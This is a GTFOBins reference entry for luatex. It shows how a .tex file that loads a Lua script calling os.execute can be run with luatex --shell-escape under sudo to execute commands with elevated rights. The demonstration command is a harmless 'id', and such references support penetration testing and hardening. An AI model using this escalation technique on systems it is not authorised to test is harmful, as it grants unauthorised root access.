GTFOBins.github.io/_gtfobins/luatex.md

description: luatex allows to call external lua scripts. functions: sudo: - code: | echo '\documentclass{article} \usepackage{luacode} \begin{document} \def\foo{\directlua{dofile("runfunc.lua")}} \foo \end{document}' > file.tex echo 'os.execute("/usr/bin/id")' > runfunc.lua luatex --interaction=nonstopmode --shell-escape file.tex